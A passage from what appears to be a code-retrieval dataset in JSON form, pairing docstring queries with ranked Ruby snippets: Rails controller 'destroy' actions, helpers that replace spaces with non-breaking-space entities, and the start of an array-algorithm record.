"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to user_plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cda3f86f5600563f31e564ca69131ff6",
"score": "0.67006963",
"text": "def destroy\n Tools.write2log(current_user.id, 'Удаление', 'Планы', 0, '# ' + @plan.id.to_s)\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a95bab2ef6faffecbf61815ce0265c5f",
"score": "0.6696958",
"text": "def destroy\n @incident_class = IncidentClass.find(params[:id])\n @incident_class.destroy\n\n respond_to do |format|\n format.html { redirect_to incident_classes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4b2e921d42f08e2871ea7fc4679ad9f1",
"score": "0.6691141",
"text": "def destroy\n @klass = @organisation.klasses.find(params[:id])\n @klass.destroy\n\n respond_to do |format|\n format.html { redirect_to organisation_klasses_path(@organisation) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f35fcce3e3c2a6997695b8522b8b9051",
"score": "0.6689103",
"text": "def destroy\n @yoga_class = YogaClass.find(params[:id])\n @yoga_class.destroy\n\n respond_to do |format|\n format.html { redirect_to yoga_classes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9a222d4e01d259d4f863f06f7cad546c",
"score": "0.66880596",
"text": "def destroy\n @fitnessclass = Fitnessclass.find(params[:id])\n @fitnessclass.destroy\n\n respond_to do |format|\n format.html { redirect_to fitnessclasses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14476ba071180e2da38b0854ec10e2e5",
"score": "0.6680276",
"text": "def destroy\n @contract_plan.destroy\n respond_to do |format|\n format.html { redirect_to contract_plans_url, notice: 'Contract plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794748664f13625e7e3babbbe40b8d9e",
"score": "0.6679467",
"text": "def destroy\n @action_plan = ActionPlan.find(params[:action_plan_id])\n @action_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to risks_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c0b15b7b9f31652482aab29da3d19a04",
"score": "0.66770214",
"text": "def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to klasses_url, notice: 'Klass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fd6308ab099364343e6138ea3a54c6bf",
"score": "0.6676302",
"text": "def destroy\n @meal_plan.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path, notice: \"Meal plan was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "39e2e69b78c097c319672bd1fae4cd62",
"score": "0.6675514",
"text": "def destroy\n @classification_strategy = ClassificationStrategy.find(params[:id])\n @classification_strategy.destroy\n\n respond_to do |format|\n format.html { redirect_to(classification_strategies_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "c0b15b7b9f31652482aab29da3d19a04",
"score": "0.66753507",
"text": "def destroy\n @klass.destroy\n respond_to do |format|\n format.html { redirect_to klasses_url, notice: 'Klass was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1b4e1649b9a2e62a45befce9c690c16e",
"score": "0.66719043",
"text": "def destroy\n @yourplan.destroy\n respond_to do |format|\n format.html { redirect_to yourplans_url, notice: 'Yourplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eae4cda743e8fa68a08b3d0809e77b6c",
"score": "0.6671866",
"text": "def destroy\n @contratos_plan.destroy\n respond_to do |format|\n format.html { redirect_to contratos_plans_url, notice: 'Contratos plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7c96d051c203337ed0a612f32833613b",
"score": "0.6668715",
"text": "def destroy\n @class_detail.destroy\n respond_to do |format|\n format.html { redirect_to class_details_url, notice: 'Class detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "12f463d2cc4fcb32db10ae8a7fb1fd80",
"score": "0.666254",
"text": "def destroy\n @control_plan = ControlPlan.find(params[:id])\n @control_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to control_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eb44f58f754cb55980a383821c0895d2",
"score": "0.66605806",
"text": "def destroy\n @discount_plan.destroy\n respond_to do |format|\n format.html { redirect_to discount_plans_url, notice: 'Discount plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "86a2e3fa700548d0ec5d2cf9d7ac3a8b",
"score": "0.6660427",
"text": "def destroy\n @check_class = CheckClass.find(params[:id])\n @check_class.destroy\n\n respond_to do |format|\n format.html { redirect_to check_classes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7fe513ac575cfe60b9c04406c1f5ff42",
"score": "0.6658803",
"text": "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan of datum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cecd4644215bd9a4e7209ef37457caa8",
"score": "0.6655643",
"text": "def destroy\n @payment_plan.destroy\n respond_to do |format|\n format.html { redirect_to payment_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5c1157dcc40b248d38c867c29f85b7ae",
"score": "0.66543674",
"text": "def destroy\n @sample_business_plan.destroy\n respond_to do |format|\n format.html { redirect_to sample_business_plans_url, notice: 'Business Plan was successfully destroyed.'}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a668395bbed6c931e3d6d015a28d3c7e",
"score": "0.66512823",
"text": "def destroy\n @firstclassification.destroy\n respond_to do |format|\n format.html { redirect_to firstclassifications_url, notice: 'Firstclassification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6d8261494bb46129ff1e867f5d2144b7",
"score": "0.665038",
"text": "def destroy\n @classification.destroy\n respond_to do |format|\n format.html { redirect_to admin_classifications_url, notice: 'Classification was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "be43ac92d9b258ca09bd40172efbc23e",
"score": "0.6649647",
"text": "def destroy\n @plan = Plan.find params[:id]\n\n head :ok\n end",
"title": ""
},
{
"docid": "be43ac92d9b258ca09bd40172efbc23e",
"score": "0.6649647",
"text": "def destroy\n @plan = Plan.find params[:id]\n\n head :ok\n end",
"title": ""
},
{
"docid": "499692573185ff1e76d617689dafcc47",
"score": "0.6647122",
"text": "def destroy\n @class_status.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: '강의신청이 취소되었습니다.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "58684673cec2732e87c16a09931edb5a",
"score": "0.66417944",
"text": "def destroy\n @classified.destroy\n respond_to do |format|\n format.html { redirect_to classifieds_url, notice: 'Classified was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c23aa7d57f7cf2c618ec249665935a2e",
"score": "0.6637727",
"text": "def destroy\n @payment_plan = PaymentPlan.find(params[:id])\n @payment_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c23aa7d57f7cf2c618ec249665935a2e",
"score": "0.6637727",
"text": "def destroy\n @payment_plan = PaymentPlan.find(params[:id])\n @payment_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_plans_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "db946dd53f83ed132f1fec5966882a77",
"score": "0.6635244",
"text": "def destroy\n @subsrcibingplan.destroy\n respond_to do |format|\n format.html { redirect_to subsrcibingplans_url, notice: 'Subsrcibingplan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
254ac66d16a4272de718a9c946b994e2
|
Returns a copy of value with spaces replaced by nonbreaking space characters. With no arguments, return a single nonbreaking space. The output uses the escaping format '&160;' since that works in both HTML and XML (as opposed to ' ' which only works in HTML).
|
[
{
"docid": "48e1efa4dda6de9e444c12d1e2e26dda",
"score": "0.7323672",
"text": "def nbsp(value = \" \")\n raw(h(value).gsub(/ /,' '))\n end",
"title": ""
}
] |
[
{
"docid": "bed4d52a159e6ddd30bc582e6a7872a8",
"score": "0.7450067",
"text": "def widont(text)\n text.gsub(/([^\\s])\\s+([^\\s]+)\\s*$/, '\\1 \\2').html_safe\n end",
"title": ""
},
{
"docid": "b8129ad72fd303bea09297e5b11a5029",
"score": "0.7404689",
"text": "def nbsp(value = \" \")\n raw(value.html_escape.gsub(/ /,' '))\n end",
"title": ""
},
{
"docid": "b8129ad72fd303bea09297e5b11a5029",
"score": "0.7404689",
"text": "def nbsp(value = \" \")\n raw(value.html_escape.gsub(/ /,' '))\n end",
"title": ""
},
{
"docid": "2840ec9a2e81b9d766a58a7f8dff3f8d",
"score": "0.73995847",
"text": "def space20b\n self.gsub(' ', '%0B')\n end",
"title": ""
},
{
"docid": "e5aecfb920fc1e8138aa5e9a9354cb35",
"score": "0.73103696",
"text": "def nbsp\n \" \".html_safe\n end",
"title": ""
},
{
"docid": "125243fa01787e149490f9a5a21685a3",
"score": "0.72394496",
"text": "def space(number = 1)\n ( ' ' * number).html_safe\n end",
"title": ""
},
{
"docid": "5c78462b0a00f26b1a7b09d033e0659b",
"score": "0.7178983",
"text": "def to_nbsp str\n str.gsub(/\\s/, ' ')\n end",
"title": ""
},
{
"docid": "2683b5b990bee28c014255c6ffb8212c",
"score": "0.717752",
"text": "def space20c\n self.gsub(' ', '%0C')\n end",
"title": ""
},
{
"docid": "db5b6330fc66b4c0d8b4ee6597d4d5e6",
"score": "0.7137098",
"text": "def sanitize(input)\n input.gsub!(\" \", \" \")\n return input\n end",
"title": ""
},
{
"docid": "7eca41122de09ba9bd3a3370d0e3df1c",
"score": "0.71029097",
"text": "def widont_single(text)\n text.strip!\n text[text.rindex(' '), 1] = ' ' if text.rindex(' ')\n text\n end",
"title": ""
},
{
"docid": "cc8c5b9927db5fdb0d285a85f4a02e46",
"score": "0.7072244",
"text": "def space20d\n self.gsub(' ', '%0D')\n end",
"title": ""
},
{
"docid": "d159417978bd5368bbb526cb897683ce",
"score": "0.70579386",
"text": "def as_html\n ' '\n end",
"title": ""
},
{
"docid": "63b0e38dad2c79a037642b47d87d56d3",
"score": "0.70297277",
"text": "def lnbsp(key)\n key.l.gsub(' ', safe_nbsp)\n end",
"title": ""
},
{
"docid": "686912942bf7085467d91372e9fc76a1",
"score": "0.69856924",
"text": "def widont_single(text)\n\t\ttext.strip!\n\t\ttext[text.rindex(' '), 1] = ' ' if text.rindex(' ')\n\t\ttext\n\tend",
"title": ""
},
{
"docid": "5c100518022dc060263199cbc8a35c7c",
"score": "0.69127923",
"text": "def nbsp\n \" \"\n end",
"title": ""
},
{
"docid": "5c100518022dc060263199cbc8a35c7c",
"score": "0.69127923",
"text": "def nbsp\n \" \"\n end",
"title": ""
},
{
"docid": "c382cddfb696421b863ba29d0ec2fcf8",
"score": "0.6782695",
"text": "def cleanup_fixed(val)\n return val.gsub(TURN_TO_SPACE, ' ')\n end",
"title": ""
},
{
"docid": "83d357d45beeed2958aec078599884e0",
"score": "0.67442757",
"text": "def to_nbsp(txt, nbsp_type = 'br /')\n txt.gsub(/\\r\\n|\\n|\\&\\#10\\;/, \"<#{nbsp_type.strip}>\")\n end",
"title": ""
},
{
"docid": "739892a82153418412f4ba948bf1cd48",
"score": "0.67442185",
"text": "def add_non_breaking_spaces_to_normal_text(text)\n regexp = /(?:\\s|^|>)(?<word>(\\w{0,3}|[-–—]{1,4}|\\&ndash\\;|\\&mdash\\;|aboard|about|above|across|after|against|along|amid|among|anti|around|before|behind|below|beneath|beside|besides|between|beyond|concerning|considering|despite|down|during|except|excepting|excluding|following|from|inside|into|like|minus|near|onto|opposite|outside|over|past|plus|regarding|round|save|since|than|that|this|through|toward|towards|under|underneath|unlike|until|upon|versus|with|within|without)(?<space>\\s))/i\n text.gsub(regexp).each { |m| \"#{m[0..-2]} \" }\n end",
"title": ""
},
{
"docid": "e31335a7982a41f4a476d18c0df980b4",
"score": "0.6682729",
"text": "def maybe(text)\n text.present? ? text : \" \".html_safe\n end",
"title": ""
},
{
"docid": "7467ebec9834b18a72195a6e96987cd4",
"score": "0.6622812",
"text": "def nobreak(text)\n text.to_s.gsub(/ +/, ' ')\n end",
"title": ""
},
{
"docid": "6c4f28ce7d8bb086e7f5d644388373b1",
"score": "0.6598501",
"text": "def multiple_space_stripper(val)\n return if !val\n return val.gsub(/\\s+/, \" \")\n end",
"title": ""
},
{
"docid": "5a8ff24866afda17b10114b9df3ce04d",
"score": "0.65837103",
"text": "def rjust_nbsp( text_value, max_width )\n n = max_width - h( text_value ).length\n (\" \" * (n > 0 ? n : 0)) << h( text_value )\n end",
"title": ""
},
{
"docid": "fe7c2d8a3910ba43ad78b3b18496fa19",
"score": "0.6572475",
"text": "def shellescaped_trim(value)\n value.round(2).to_s.shellescape\n end",
"title": ""
},
{
"docid": "dcb0cef318fc7c6eccdee76f9ab4ad5c",
"score": "0.6515802",
"text": "def nbsp(n)\n ' ' * n\n end",
"title": ""
},
{
"docid": "c829ca8154aa618573b9719c361df7fd",
"score": "0.6503244",
"text": "def prepend_space value\n value ? %( #{value}) : ''\n end",
"title": ""
},
{
"docid": "91c92fcdf1f1ee8914f972dcedd7157d",
"score": "0.64924765",
"text": "def cleanup_data(value)\n nbsp = 160.chr('UTF-8')\n value = value.strip.gsub(nbsp, '')\n value.empty? ? nil : value\n end",
"title": ""
},
{
"docid": "2ac5895188176930547d62816b56847d",
"score": "0.6449771",
"text": "def nbsp(n)\n ' ' * n\n end",
"title": ""
},
{
"docid": "bce2e48a7cc184e8adbb794630f41a81",
"score": "0.6438095",
"text": "def space2oa\n self.gsub(' ', '%0A')\n end",
"title": ""
},
{
"docid": "87d57dfd83a1ba4a0bb3ba58014c28bc",
"score": "0.64318013",
"text": "def space2o9\n self.gsub(' ', '%09')\n end",
"title": ""
},
{
"docid": "a3a93966abb636683d3dc6a82482a5c8",
"score": "0.6430825",
"text": "def condense_whitespace(html_item)\n html_item\n .encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n .gsub(/\\s+/, \" \")\n end",
"title": ""
},
{
"docid": "8ba84eaaf2743c0ffec18f7bd5b56a25",
"score": "0.6421064",
"text": "def single_space\n gsub(/ {2,}/, ' ').strip\n end",
"title": ""
},
{
"docid": "41bace01830bd17394c5586d91c79399",
"score": "0.6365669",
"text": "def preserve_spaces; end",
"title": ""
},
{
"docid": "183855bf7269c3c4818a7fe27b313631",
"score": "0.63256365",
"text": "def strip_zero_width_spaces string\n string.encoding == Encoding::UTF_8 ? (string.tr Prawn::Text::ZWSP, '') : string\n end",
"title": ""
},
{
"docid": "ad6ee9ff2886c3adb76c90c9eeeb57e5",
"score": "0.6319961",
"text": "def squeezeBlanks(theTree)\n theTree.changeRepProc(self.method(:defaultRepresent))\n text = theTree.represent(self)\n text.tr(' ', '')\n end",
"title": ""
},
{
"docid": "5ac9ecaf7557a49f2262335eb7b87529",
"score": "0.63174915",
"text": "def normalize text\n text.\n gsub( \"\\u200B\", \"\" ).\n gsub( \"\\u00A0\", \" \" ).\n # Need to escape these so they don't break the table (?!)\n gsub( '|', '\\|')\nend",
"title": ""
},
{
"docid": "b0f09013d387390b293cf566e83eee83",
"score": "0.627953",
"text": "def escapeHTML(line)\n CGI.escapeHTML(line).gsub(/\\s/, ' ')\n end",
"title": ""
},
{
"docid": "3c81c3427d1b38d982e09be25d3419b9",
"score": "0.6253106",
"text": "def strip_whitespace\n gsub(/\\u00A0/, '').gsub(/\\s+/, ' ').strip\n end",
"title": ""
},
{
"docid": "84f55ef4548492dd06ed6a0458e657f7",
"score": "0.6231651",
"text": "def use_nonbreaking_spaces_in_compound_names\n @nice_name\n .nbsp_in_compound_name!\n .nbsp_in_name_modifier!\n end",
"title": ""
},
{
"docid": "93415dfabd8992f0becf0dab6155777b",
"score": "0.62295717",
"text": "def nbsp(count=1)\n (' ' * count).html_safe\n end",
"title": ""
},
{
"docid": "890239d42701bee2e0f7b331751624ba",
"score": "0.62106663",
"text": "def use_nonbreaking_spaces_in_compound_names\n @nice_name\n .nbsp_in_compound_name!\n .nbsp_in_name_modifier!\n end",
"title": ""
},
{
"docid": "10efb257dd326f5fcd07673cd0bc70eb",
"score": "0.62070453",
"text": "def squash slf=self\n slf.to_s.gsub(/\\s+/, \" \")\n end",
"title": ""
},
{
"docid": "b94736de9c157832ff0eb455f70d9b83",
"score": "0.6203581",
"text": "def addSpace(value)\n value = ' ' + value + ' '\n end",
"title": ""
},
{
"docid": "8d9731aebe252cb720660b62333611fd",
"score": "0.6197137",
"text": "def html_indent(spaces)\n space_string = String.new\n spaces.times do\n space_string += \" \"\n end\n\n return self.insert(0, space_string)\n end",
"title": ""
},
{
"docid": "f56bd373bdcc40ac053cc2255e22f413",
"score": "0.619652",
"text": "def condense_spaces(input)\n input.gsub(/\\s{2,}/, ' ')\n end",
"title": ""
},
{
"docid": "4b799462b3fac66497fe20b5fc2081c4",
"score": "0.6182158",
"text": "def normalize_whitespace(text); end",
"title": ""
},
{
"docid": "4b799462b3fac66497fe20b5fc2081c4",
"score": "0.6182158",
"text": "def normalize_whitespace(text); end",
"title": ""
},
{
"docid": "17108ef72495b4257daed6a3d0a7b8cb",
"score": "0.6163941",
"text": "def insert_spaces; end",
"title": ""
},
{
"docid": "66df9bd2f9e3bce6b0fdea5d6c2836f3",
"score": "0.61429435",
"text": "def normalise_space(s)\n if(in_pre)\n s.to_s.gsub(/^/, ' ')\n else\n s.to_s.gsub(/\\s+/x, ' ')\n end\n end",
"title": ""
},
{
"docid": "f37eeb9de32b2cd29f10d38631790b8c",
"score": "0.61399156",
"text": "def no_space(x)\n x.gsub(/\\s+/, \"\")\n return x\nend",
"title": ""
},
{
"docid": "02f02eab0788c2fcb38f3debe1dc1a36",
"score": "0.61203676",
"text": "def with_spaces\n add_spacing( with_cut_symbols )\n end",
"title": ""
},
{
"docid": "c73f5648ef938c10b78b2d0b517c4c5b",
"score": "0.610294",
"text": "def normalise_space(text)\n text.strip.gsub(/\\s\\s+/, ' ')\n end",
"title": ""
},
{
"docid": "bd010592afce0c6338f67599eaa111e3",
"score": "0.60890496",
"text": "def preserve_leading_space(str)\n str.sub(/\\A /, \"\\u00A0\")\n end",
"title": ""
},
{
"docid": "7172451ea9f7399cc85ecc304733ca78",
"score": "0.6088843",
"text": "def no_space(x)\n x.delete!(' ')\n return x\nend",
"title": ""
},
{
"docid": "db595f75cb2c9b0fb6f0666159247b09",
"score": "0.6086462",
"text": "def clean text\n text.gsub(/’/,\"'\").gsub(/ /,' ')\nend",
"title": ""
},
{
"docid": "63013a51bb0647045f92b5fcef3e84c0",
"score": "0.6076705",
"text": "def replace_html_spaces url\n\turl.gsub(\" \", \"%20\")\nend",
"title": ""
},
{
"docid": "a9c48582861617c7400238ed78c5f12d",
"score": "0.6072477",
"text": "def to_s_without_spaces\n to_s.delete(' ').delete(\"\\n\").delete(\"\\r\")\n end",
"title": ""
},
{
"docid": "21b40db71ccb152abef0abd57860f8d6",
"score": "0.60522103",
"text": "def normalise_space(s)\n return s if @preserveWhitespace\n s.to_s.gsub(/\\s+/x, ' ')\n end",
"title": ""
},
{
"docid": "8945ede9c7777adf1d6d59685c3195fc",
"score": "0.6042427",
"text": "def strip_tags_nbsp(text)\n\t strip_tags(text.gsub(' ', ' '))\n\tend",
"title": ""
},
{
"docid": "af015ce7696f7c0686977a9b788e2568",
"score": "0.6032463",
"text": "def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end",
"title": ""
},
{
"docid": "af015ce7696f7c0686977a9b788e2568",
"score": "0.6032463",
"text": "def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end",
"title": ""
},
{
"docid": "af015ce7696f7c0686977a9b788e2568",
"score": "0.6032463",
"text": "def squish!\n gsub!(/\\A[[:space:]]+/, '')\n gsub!(/[[:space:]]+\\z/, '')\n gsub!(/[[:space:]]+/, ' ')\n self\n end",
"title": ""
},
{
"docid": "93169a4b3d4dbd7c865f7806c24e3c17",
"score": "0.60268867",
"text": "def normalize_whitespace(input)\n input.to_s.gsub(%r!\\s+!, \" \").tap(&:strip!)\n end",
"title": ""
},
{
"docid": "93169a4b3d4dbd7c865f7806c24e3c17",
"score": "0.60268867",
"text": "def normalize_whitespace(input)\n input.to_s.gsub(%r!\\s+!, \" \").tap(&:strip!)\n end",
"title": ""
},
{
"docid": "2bf1f3d4debf75ecb0ac5ae5b52f0f91",
"score": "0.6011838",
"text": "def sanitise(description)\n description = description.gsub(/[[:space:]]+/, ' ')\n description.gsub(/ /i, ' ')\n end",
"title": ""
},
{
"docid": "8a83fed59258c1baf0723fe3fcef7bf8",
"score": "0.6010002",
"text": "def squish!(text)\n text.strip!\n text.gsub!(/\\s+/, ' ')\n text\n end",
"title": ""
},
{
"docid": "dc1436e818d02bf6dfa2bcf8441e70d5",
"score": "0.60069984",
"text": "def no_space(x)\n x.delete(' ')\nend",
"title": ""
},
{
"docid": "dc1436e818d02bf6dfa2bcf8441e70d5",
"score": "0.60069984",
"text": "def no_space(x)\n x.delete(' ')\nend",
"title": ""
},
{
"docid": "dc1436e818d02bf6dfa2bcf8441e70d5",
"score": "0.60069984",
"text": "def no_space(x)\n x.delete(' ')\nend",
"title": ""
},
{
"docid": "7977a43657165aff9b20bd92fd035a9e",
"score": "0.60051394",
"text": "def restore_spaces\n gsub(/(?<=\\S)(_|\\.)(?=\\S)/, ' ')\n end",
"title": ""
},
{
"docid": "2db31575f06cdaf7098153a8a75c3835",
"score": "0.6000634",
"text": "def rmWhiteSpace!\n return self.gsub!(/\\A\\s*/m, '').gsub!(/\\s*\\Z/m,'')\n end",
"title": ""
},
{
"docid": "4b0c8f4c062946f019fa9d5edf6e2a3f",
"score": "0.5998907",
"text": "def replace_newline_doublespace(text)\n text.gsub(/\\n/, \"\\n \")\n end",
"title": ""
},
{
"docid": "6176ee3ace009354002a02ded754a13e",
"score": "0.5994626",
"text": "def shrinkWhitespace text\n\ttext.gsub(/\\s+/, ' ').gsub(/\\t+/, ' ').gsub(/\\n/,' ');\nend",
"title": ""
},
{
"docid": "cbd9c2940ab3913f05e98e29d1f0ea86",
"score": "0.598748",
"text": "def escape_whitespace\n copy = self.dup\n copy.gsub!(\"\\n\", \"\\\\n\")\n copy.gsub!(\"\\r\", \"\\\\r\")\n copy.gsub!(\"\\t\", \"\\\\t\")\n copy\n end",
"title": ""
},
{
"docid": "bc296b92e93767ad760cfc69e457807f",
"score": "0.5984806",
"text": "def remove_spaces\n @s.gsub!( / /, \"\" )\nend",
"title": ""
},
{
"docid": "658671195c5dc224c8d1a2fb01ef5961",
"score": "0.5983713",
"text": "def squish!\n gsub!(/[[:space:]]+/, ' ')\n strip!\n self\n end",
"title": ""
},
{
"docid": "daad7d1c57991d3af40ddaab4343e8d6",
"score": "0.5980672",
"text": "def no_space(x)\n x.delete(\" \")\nend",
"title": ""
},
{
"docid": "6e1ed9ed98e80a7db227b2df330f412c",
"score": "0.59771425",
"text": "def format space, force = nil\n if force || @format\n if @code.size > 1\n (@code % space).gsub(/\\D/, ' ')\n else\n @code\n end\n end\n end",
"title": ""
},
{
"docid": "ca20afb05ee25c80cdfff26f34168c2b",
"score": "0.5974111",
"text": "def space\n text \" \"\n end",
"title": ""
},
{
"docid": "bed5a9c4f93b2797fcc7197df71394a0",
"score": "0.5965129",
"text": "def showSpace word\n space = \"\"\n val = 20 - word.size\n val = 20 if val < 0\n val.times do\n space += \" \"\n end\n return space\n end",
"title": ""
},
{
"docid": "54520847994b20dff199d1cc79fff448",
"score": "0.59573203",
"text": "def normalize_whitespace(input)\n input.to_s.gsub(%r!\\s+!, \" \").strip\n end",
"title": ""
},
{
"docid": "73cb321d23c03d581d2698a4a3ec62c8",
"score": "0.5957073",
"text": "def strip_side_space\n gsub(/^\\s+/, \"\").gsub(/\\s+$/, $/)\n end",
"title": ""
},
{
"docid": "200b99996566bba7d97895a698dcd854",
"score": "0.5954156",
"text": "def normalise_space(s)\r\n s.to_s.gsub(/\\s+/x, ' ')\r\n end",
"title": ""
},
{
"docid": "c1966613eba9e1f4222f4043931ec0d3",
"score": "0.5927084",
"text": "def dewhitespace\n gsub(/\\s+/,' ').strip\n end",
"title": ""
},
{
"docid": "c1966613eba9e1f4222f4043931ec0d3",
"score": "0.5927084",
"text": "def dewhitespace\n gsub(/\\s+/,' ').strip\n end",
"title": ""
},
{
"docid": "d57f28825e06e23a84ae5515a3bd7313",
"score": "0.5926309",
"text": "def to_s\n \" \"\n end",
"title": ""
},
{
"docid": "2034ce086a581ca5d4a92d94194febd3",
"score": "0.5921178",
"text": "def clean_value(value)\n value.split.join(' ')\n end",
"title": ""
},
{
"docid": "3409b5a4f0bdd6b5be2d01d8b5bddb42",
"score": "0.5919602",
"text": "def without_spaces\n gsub(/\\s/, '')\n end",
"title": ""
},
{
"docid": "b862f7bfb5a3cb9b7086b43550549e66",
"score": "0.591232",
"text": "def space_out(s)\n s.split(//).join(' ')\n end",
"title": ""
},
{
"docid": "b862f7bfb5a3cb9b7086b43550549e66",
"score": "0.591232",
"text": "def space_out(s)\n s.split(//).join(' ')\n end",
"title": ""
},
{
"docid": "8834397924a3d9a25df1f0afcaf7024c",
"score": "0.5909518",
"text": "def remove_double_spacing(sentence)\n \t\treturn sentence.gsub(/ /, ' ')\n \tend",
"title": ""
},
{
"docid": "34b1992f58d0d16576ed9e134fdba141",
"score": "0.59081197",
"text": "def squish!\n gsub!(/[[:space:]]+/, \" \")\n strip!\n self\n end",
"title": ""
},
{
"docid": "34b1992f58d0d16576ed9e134fdba141",
"score": "0.59069896",
"text": "def squish!\n gsub!(/[[:space:]]+/, \" \")\n strip!\n self\n end",
"title": ""
},
{
"docid": "34b1992f58d0d16576ed9e134fdba141",
"score": "0.59069896",
"text": "def squish!\n gsub!(/[[:space:]]+/, \" \")\n strip!\n self\n end",
"title": ""
},
{
"docid": "e26baf6dc1de76bc951341531821e5bc",
"score": "0.59012485",
"text": "def space\n split_up.join(' ')\n end",
"title": ""
},
{
"docid": "e26baf6dc1de76bc951341531821e5bc",
"score": "0.59012485",
"text": "def space\n split_up.join(' ')\n end",
"title": ""
},
{
"docid": "94c3d2890c2cfa27a4331b758640c837",
"score": "0.5893945",
"text": "def condense_spaces(input)\n input.gsub(/\\n/, ' ').gsub(/\\s{2,}/, ' ')\n end",
"title": ""
},
{
"docid": "1dc0f22a216d8aaf399aa54057bf537a",
"score": "0.5892854",
"text": "def spaceless(&block)\n contents = capture(&block)\n\n # Note that string returned by +capture+ is implicitly HTML-safe,\n # and this mangling does not introduce unsafe changes, so I'm just\n # resetting the flag.\n contents.strip.gsub(/>\\s+</, '><').html_safe\n end",
"title": ""
},
{
"docid": "6969789d93acac0cf3a98c70e5652601",
"score": "0.5890151",
"text": "def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end",
"title": ""
}
] |
faa3fc46f3e8c180e8455f0525b693ca
|
better solution, O(n) time & space
|
[
{
"docid": "d8e0e0ebbf16ff6fc1e04abd94836826",
"score": "0.0",
"text": "def permutation_is_palindrome?(str)\n char_count = {}\n pointer = 0\n while pointer < str.length\n char_count[str[pointer]] = 0 unless char_count[str[pointer]]\n char_count[str[pointer]] += 1\n pointer += 1\n end\n\n single_char_exists = false\n char_count.each do |k,v|\n next if v % 2 == 0 # even number of char in the string\n return false if single_char_exists\n single_char_exists = true\n end\n return true\nend",
"title": ""
}
] |
[
{
"docid": "94b952c4eec254dafeaf15d164f67032",
"score": "0.65950614",
"text": "def slow_solution(m, a)\n n = a.size\n return 1 if n == 1\n distinct = 0\n n.times do |back|\n (back..n - 1).each do |front|\n if a[back..front] == a[back..front].uniq\n distinct += 1\n else\n break\n end\n end\n end\n distinct\nend",
"title": ""
},
{
"docid": "4a21fd90da81a02895a7e32078bf0946",
"score": "0.65716153",
"text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n \r\n i=0;\r\n l=a.count\r\n arr=[]\r\n p=0\r\n loop do\r\n arr[a[i]-1] = a[i]\r\n i+=1\r\n \r\n if(i==l)\r\n k=1;\r\n \r\n for j in arr\r\n if(k!=j)\r\n p=k\r\n break\r\n end\r\n k+=1\r\n end\r\n \r\n break\r\n end\r\n end\r\n \r\n \r\n p\r\nend",
"title": ""
},
{
"docid": "00ee2a773f8c3653a5307eecd31539c8",
"score": "0.6499476",
"text": "def solution(a)\n check_array = a.group_by{|n| n }\n (1..100001).each do |idx|\n return idx unless check_array[idx]\n end\nend",
"title": ""
},
{
"docid": "239f4a4623ff9a2dc517cbbef43d4f3d",
"score": "0.6485057",
"text": "def optimize_for_space(arr)\n arr[0...-1].each_with_index do |el, idx|\n arr[idx + 1..-1].each do |el2|\n return el if el == el2\n end\n end\n \"No Duplicates\"\nend",
"title": ""
},
{
"docid": "56e2f4c229d68e9d667cf5f5fe1d2177",
"score": "0.6447068",
